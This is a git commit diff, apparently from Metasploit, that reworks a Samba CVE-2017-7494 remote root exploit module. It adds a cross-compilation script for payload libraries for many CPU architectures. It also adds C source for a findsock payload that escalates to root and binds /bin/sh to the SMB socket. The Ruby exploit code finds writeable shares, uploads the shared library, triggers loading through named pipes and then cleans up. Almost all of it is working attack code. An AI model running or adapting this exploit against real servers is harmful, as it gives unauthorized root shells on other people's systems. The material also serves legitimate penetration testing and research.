Rework the Samba exploit & payload model to be magic.
This commit is contained in:
parent
78d649232b
commit
184c8f50f1
|
@ -0,0 +1,44 @@
|
|||
#!/bin/bash
|
||||
|
||||
build () {
|
||||
CC=$1
|
||||
TARGET_SUFFIX=$2
|
||||
CFLAGS=$3
|
||||
|
||||
echo "[*] Building for ${TARGET_SUFFIX}..."
|
||||
for type in {shellcode,system,findsock}
|
||||
do ${CC} ${CFLAGS} -Wall -Werror -fPIC samba-root-${type}.c -shared -o samba-root-${type}-${TARGET_SUFFIX}.so
|
||||
done
|
||||
}
|
||||
|
||||
rm -f *.o *.so *.gz
|
||||
|
||||
# x86
|
||||
build "gcc" "x86_64" "-m64"
|
||||
build "gcc" "x86" "-m32"
|
||||
|
||||
# ARM
|
||||
build "arm-linux-gnueabi-gcc-5" "armel" "-march=armv5 -mlittle-endian"
|
||||
build "arm-linux-gnueabihf-gcc-5" "armhf" "-march=armv7 -mlittle-endian"
|
||||
build "aarch64-linux-gnu-gcc-4.9" "aarch64" ""
|
||||
|
||||
# MIPS
|
||||
build "mips-linux-gnu-gcc-5" "mips" ""
|
||||
build "mipsel-linux-gnu-gcc-5" "mipsel" ""
|
||||
build "mips64-linux-gnuabi64-gcc-5" "mips64" ""
|
||||
build "mips64el-linux-gnuabi64-gcc-5" "mips64el" ""
|
||||
|
||||
# SPARC
|
||||
build "sparc64-linux-gnu-gcc-5" "sparc64" ""
|
||||
build "sparc64-linux-gnu-gcc-5" "sparc" "-m32"
|
||||
|
||||
# PowerPC
|
||||
build "powerpc-linux-gnu-gcc-5" "powerpc" ""
|
||||
build "powerpc64-linux-gnu-gcc-5" "powerpc64" ""
|
||||
build "powerpc64le-linux-gnu-gcc-4.9" "powerpc64le" ""
|
||||
|
||||
# S390X
|
||||
build "s390x-linux-gnu-gcc-5" "s390x" ""
|
||||
|
||||
gzip -9 *.so
|
||||
rm -f *.o *.so
|
|
@ -0,0 +1,21 @@
|
|||
#!/bin/bash
|
||||
|
||||
# Assume x86_64 Ubuntu 16.04 base system
|
||||
apt-get install build-essential \
|
||||
gcc-5-multilib \
|
||||
gcc-5-multilib-arm-linux-gnueabi \
|
||||
gcc-5-multilib-arm-linux-gnueabihf \
|
||||
gcc-5-multilib-mips-linux-gnu \
|
||||
gcc-5-multilib-mips64-linux-gnuabi64 \
|
||||
gcc-5-multilib-mips64el-linux-gnuabi64 \
|
||||
gcc-5-multilib-mipsel-linux-gnu \
|
||||
gcc-5-multilib-powerpc-linux-gnu \
|
||||
gcc-5-multilib-powerpc64-linux-gnu \
|
||||
gcc-5-multilib-s390x-linux-gnu \
|
||||
gcc-5-multilib-sparc64-linux-gnu \
|
||||
gcc-4.9-powerpc64le-linux-gnu \
|
||||
gcc-4.9-aarch64-linux-gnu
|
||||
|
||||
if [ ! -e /usr/include/asm ];
|
||||
then ln -sf /usr/include/asm-generic /usr/include/asm
|
||||
fi
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,55 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <signal.h>
|
||||
#include <string.h>
|
||||
|
||||
extern bool change_to_root_user(void);
|
||||
|
||||
// Samba 4 looks for samba_init_module
|
||||
int samba_init_module(void)
|
||||
{
|
||||
char *args[2] = {"/bin/sh", 0};
|
||||
struct sockaddr_in sa;
|
||||
socklen_t sl = sizeof(sa);
|
||||
int s;
|
||||
unsigned char buff[] = {
|
||||
0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42,
|
||||
0xa2, 0x39, 0x00, 0x00, 0xc0, 0x88, 0x03, 0xc8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x64, 0x7e,
|
||||
0x64, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x00
|
||||
};
|
||||
|
||||
change_to_root_user();
|
||||
|
||||
for (s=4096; s>0; s--) {
|
||||
|
||||
// Skip over invalid sockets
|
||||
if (getsockname(s, (struct sockaddr *)&sa, &sl) != 0)
|
||||
continue;
|
||||
|
||||
// Skip over non internet sockets
|
||||
if (sa.sin_family != AF_INET)
|
||||
continue;
|
||||
|
||||
// Send a semi-valid SMB response to simplify things
|
||||
send(s, buff, sizeof(buff), 0);
|
||||
|
||||
// Duplicate standard input/output/error
|
||||
dup2(s, 0);
|
||||
dup2(s, 1);
|
||||
dup2(s, 2);
|
||||
|
||||
execve(args[0], args, NULL);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Samba 3 looks for init_samba_module
|
||||
int init_samba_module(void) { return samba_init_module(); }
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
File diff suppressed because one or more lines are too long
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
File diff suppressed because one or more lines are too long
|
@ -38,18 +38,32 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'linux',
|
||||
#
|
||||
# Targets are currently limited by platforms with ELF-SO payload wrappers
|
||||
#
|
||||
'Targets' =>
|
||||
[
|
||||
|
||||
[ 'Automatic (Interact)',
|
||||
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true,
|
||||
'Payload' => {
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find'
|
||||
}
|
||||
}
|
||||
}
|
||||
],
|
||||
[ 'Automatic (Command)',
|
||||
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
|
||||
],
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
|
||||
#
|
||||
# Not ready yet
|
||||
# [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
|
||||
# [ 'Linux MIPS', { 'Arch' => MIPS } ],
|
||||
[ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
|
||||
[ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],
|
||||
[ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],
|
||||
[ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],
|
||||
[ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],
|
||||
[ 'Linux PPC', { 'Arch' => ARCH_PPC } ],
|
||||
[ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ],
|
||||
[ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],
|
||||
[ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
|
@ -58,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
},
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'Mar 24 2017',
|
||||
'DefaultTarget' => 1))
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
|
@ -67,6 +81,32 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
])
|
||||
end
|
||||
|
||||
# Setup our mapping of Metasploit architectures to gcc architectures
|
||||
def setup
|
||||
super
|
||||
@@payload_arch_mappings = {
|
||||
ARCH_X86 => [ 'x86' ],
|
||||
ARCH_X86_64 => [ 'x86_64' ],
|
||||
ARCH_X64 => [ 'x86_64' ],
|
||||
ARCH_MIPS => [ 'mips' ],
|
||||
ARCH_MIPSLE => [ 'mipsel' ],
|
||||
ARCH_MIPSBE => [ 'mips' ],
|
||||
ARCH_MIPS64 => [ 'mips64' ],
|
||||
ARCH_PPC => [ 'powerpc' ],
|
||||
ARCH_PPC64 => [ 'powerpc64' ],
|
||||
ARCH_PPC64LE => [ 'powerpc64le' ],
|
||||
ARCH_SPARC => [ 'sparc' ],
|
||||
ARCH_ARMLE => [ 'armel', 'armhf' ],
|
||||
ARCH_AARCH64 => [ 'aarch64' ],
|
||||
#
|
||||
# Missing from Rex::Arch
|
||||
# ARCH_MIPS64LE = 'mips64le',
|
||||
# ARCH_SPARC64 = 'sparc64',
|
||||
#
|
||||
}
|
||||
end
|
||||
|
||||
# List all top-level directories within a given share
|
||||
def enumerate_directories(share)
|
||||
begin
|
||||
self.simple.connect("\\\\#{rhost}\\#{share}")
|
||||
|
@ -89,6 +129,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
# Detemrine whether a directory in a share is writeable
|
||||
def verify_writeable_directory(share, directory="")
|
||||
begin
|
||||
simple.connect("\\\\#{rhost}\\#{share}")
|
||||
|
@ -112,19 +153,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
# Call NetShareGetInfo to retrieve the server-side path
|
||||
def find_share_path
|
||||
share_info = smb_netsharegetinfo(@share)
|
||||
share_info[:path].gsub("\\", "/").sub(/^.*:/, '')
|
||||
end
|
||||
|
||||
def probe_module_path(path, simple_client=self.simple)
|
||||
begin
|
||||
simple_client.create_pipe(path)
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
vprint_error("Probe: #{path}: #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
# Crawl top-level directories and test for writeable
|
||||
def find_writeable_path(share)
|
||||
subdirs = enumerate_directories(share)
|
||||
return unless subdirs
|
||||
|
@ -141,6 +176,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
nil
|
||||
end
|
||||
|
||||
# Locate a writeable directory across identified shares
|
||||
def find_writeable_share_path
|
||||
@path = nil
|
||||
share_info = smb_netshareenumall
|
||||
|
@ -158,6 +194,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
# Locate a writeable share
|
||||
def find_writeable
|
||||
find_writeable_share_path
|
||||
unless @share && @path
|
||||
|
@ -167,7 +204,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
|
||||
end
|
||||
|
||||
def upload_payload
|
||||
# Store the wrapped payload into the writeable share
|
||||
def upload_payload(wrapped_payload)
|
||||
begin
|
||||
self.simple.connect("\\\\#{rhost}\\#{@share}")
|
||||
|
||||
|
@ -175,9 +213,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
|
||||
|
||||
wfd = simple.open(filename, 'rwct')
|
||||
wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform,
|
||||
payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}
|
||||
)
|
||||
wfd << wrapped_payload
|
||||
wfd.close
|
||||
|
||||
@payload_name = random_filename
|
||||
|
@ -194,23 +230,172 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
return true
|
||||
end
|
||||
|
||||
def find_payload
|
||||
# Retrieve the server-side path of the share like a boss
|
||||
print_status("Retrieving the remote path of the share '#{@share}'")
|
||||
share_path = find_share_path
|
||||
# Try both pipe open formats in order to load the uploaded shared library
|
||||
def trigger_payload
|
||||
|
||||
target = [share_path, @path, @payload_name].join("/").gsub(/\/+/, '/')
|
||||
target = [@share_path, @path, @payload_name].join("/").gsub(/\/+/, '/')
|
||||
[
|
||||
"\\\\PIPE\\" + target,
|
||||
target
|
||||
].each do |tpath|
|
||||
|
||||
print_status("Loading the payload from server-side path #{target}...")
|
||||
simple.connect("\\\\#{rhost}\\IPC$")
|
||||
print_status("Loading the payload from server-side path #{target} using #{tpath}...")
|
||||
|
||||
# The first method works against Samba 3.x
|
||||
probe_module_path("\\\\PIPE\\" + target)
|
||||
smb_connect
|
||||
|
||||
# The second method works against Samba 4.x
|
||||
probe_module_path(target)
|
||||
# Try to execute the shared library from the share
|
||||
begin
|
||||
simple.client.create_pipe(tpath)
|
||||
probe_module_path(tpath)
|
||||
|
||||
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
|
||||
# Common errors we can safely ignore
|
||||
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
|
||||
# Look for STATUS_OBJECT_PATH_INVALID indicating our interact payload loaded
|
||||
if e.error_code == 0xc0000039
|
||||
print_good("Probe response indicates the interactive payload was loaded...")
|
||||
|
||||
smb_shell = self.sock
|
||||
self.sock = nil
|
||||
remove_socket(sock)
|
||||
handler(smb_shell)
|
||||
return true
|
||||
else
|
||||
print_error(" >> Failed to load #{e.error_name}")
|
||||
end
|
||||
end
|
||||
|
||||
disconnect
|
||||
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Use fancy payload wrappers to make exploitation a joyously lazy exercise
|
||||
def cycle_possible_payloads
|
||||
template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-7494")
|
||||
template_list = []
|
||||
template_type = nil
|
||||
template_arch = nil
|
||||
|
||||
# Handle the generic command types first
|
||||
if target.arch.include?(ARCH_CMD)
|
||||
template_type = target['Interact'] ? 'findsock' : 'system'
|
||||
|
||||
all_architectures = @@payload_arch_mappings.values.flatten.uniq
|
||||
|
||||
# Prioritize the most common architectures first
|
||||
%W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch|
|
||||
template_list << all_architectures.delete(t_arch)
|
||||
end
|
||||
|
||||
# Queue up the rest for later
|
||||
all_architectures.each do |t_arch|
|
||||
template_list << t_arch
|
||||
end
|
||||
|
||||
# Handle the specific architecture targets next
|
||||
else
|
||||
template_type = 'shellcode'
|
||||
target.arch.each do |t_name|
|
||||
@@payload_arch_mappings[t_name].each do |t_arch|
|
||||
template_list << t_arch
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Remove any duplicates that mau have snuck in
|
||||
template_list.uniq!
|
||||
|
||||
# Cycle through each template and yield
|
||||
template_list.each do |t_arch|
|
||||
data = ''
|
||||
::File.open(File.join(template_base, "samba-root-#{template_type}-#{t_arch}.so.gz"), "rb") do |fd|
|
||||
data = Rex::Text.ungzip(fd.read)
|
||||
end
|
||||
|
||||
pidx = data.index('PAYLOAD')
|
||||
if pidx
|
||||
data[pidx, payload.encoded.length] = payload.encoded
|
||||
end
|
||||
|
||||
vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...")
|
||||
yield(data)
|
||||
end
|
||||
end
|
||||
|
||||
# Verify that the payload settings make sense
|
||||
def sanity_check
|
||||
if target['Interact'] && datastore['PAYLOAD'] != "cmd/unix/interact"
|
||||
print_error("Error: The interactive target is chosen (0) but PAYLOAD is not set to cmd/unix/interact")
|
||||
print_error(" Please set PAYLOAD to cmd/unix/interact and try this again")
|
||||
print_error("")
|
||||
fail_with(Failure::NoTarget, "Invalid payload chosen for the interactive target")
|
||||
end
|
||||
|
||||
if ! target['Interact'] && datastore['PAYLOAD'] == "cmd/unix/interact"
|
||||
print_error("Error: A non-interactive target is chosen but PAYLOAD is set to cmd/unix/interact")
|
||||
print_error(" Please set a valid PAYLOAD and try this again")
|
||||
print_error("")
|
||||
fail_with(Failure::NoTarget, "Invalid payload chosen for the non-interactive target")
|
||||
end
|
||||
end
|
||||
|
||||
# Shorthand for connect and login
|
||||
def smb_connect
|
||||
connect
|
||||
smb_login
|
||||
end
|
||||
|
||||
# Start the shell train
|
||||
def exploit
|
||||
# Validate settings
|
||||
sanity_check
|
||||
|
||||
# Setup SMB
|
||||
smb_connect
|
||||
|
||||
# Find a writeable share
|
||||
find_writeable
|
||||
|
||||
# Retrieve the server-side path of the share like a boss
|
||||
print_status("Retrieving the remote path of the share '#{@share}'")
|
||||
@share_path = find_share_path
|
||||
print_status("Share '#{@share}' has server-side path '#{@share_path}")
|
||||
|
||||
# Disconnect
|
||||
disconnect
|
||||
|
||||
# Create wrappers for each potential architecture
|
||||
cycle_possible_payloads do |wrapped_payload|
|
||||
|
||||
# Connect, upload the shared library payload, disconnect
|
||||
smb_connect
|
||||
upload_payload(wrapped_payload)
|
||||
disconnect
|
||||
|
||||
# Trigger the payload
|
||||
early = trigger_payload
|
||||
|
||||
# Cleanup the payload
|
||||
begin
|
||||
smb_connect
|
||||
simple.connect("\\\\#{rhost}\\#{@share}")
|
||||
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
|
||||
simple.delete(uploaded_path)
|
||||
disconnect
|
||||
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
|
||||
end
|
||||
|
||||
# Bail early if our interact payload loaded
|
||||
return if early
|
||||
end
|
||||
end
|
||||
|
||||
# A version-based vulnerability check for Samba
|
||||
def check
|
||||
res = smb_fingerprint
|
||||
|
||||
|
@ -245,8 +430,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
connect
|
||||
smb_login
|
||||
smb_connect
|
||||
find_writeable_share_path
|
||||
disconnect
|
||||
|
||||
|
@ -259,33 +443,4 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
return CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Setup SMB
|
||||
connect
|
||||
smb_login
|
||||
|
||||
# Find a writeable share
|
||||
find_writeable
|
||||
|
||||
# Upload the shared library payload
|
||||
upload_payload
|
||||
|
||||
# Find and execute the payload from the share
|
||||
begin
|
||||
find_payload
|
||||
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
|
||||
end
|
||||
|
||||
# Cleanup the payload
|
||||
begin
|
||||
simple.connect("\\\\#{rhost}\\#{@share}")
|
||||
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
|
||||
simple.delete(uploaded_path)
|
||||
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
|
||||
end
|
||||
|
||||
# Shutdown
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue